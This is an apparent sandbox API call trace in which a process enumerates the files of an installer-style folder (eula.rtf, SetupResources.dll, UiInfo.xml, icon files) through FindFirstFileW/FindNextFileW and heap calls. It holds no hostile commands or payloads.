	[0041.522] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.522] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.522] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.522] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.522] FindClose (in: hFindFile=0x7432b0 | out: hFindFile=0x7432b0) returned 1
	[0041.522] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.522] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0041.522] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.522] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743070
	[0041.526] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.526] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.526] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.526] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.526] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.526] FindClose (in: hFindFile=0x743070 | out: hFindFile=0x743070) returned 1
	[0041.527] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.527] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0041.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.527] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7430f0
	[0041.528] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.528] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.528] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.528] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0041.528] FindClose (in: hFindFile=0x7430f0 | out: hFindFile=0x7430f0) returned 1
	[0041.529] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.529] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0041.529] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0041.529] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0041.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.529] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7430f0
	[0041.529] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.530] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.530] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.530] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0041.530] FindClose (in: hFindFile=0x7430f0 | out: hFindFile=0x7430f0) returned 1
	[0041.530] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.530] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0041.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.530] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e70
	[0041.587] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0041.596] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0041.597] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0041.615] FindClose (in: hFindFile=0x742e70 | out: hFindFile=0x742e70) returned 1
	[0041.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
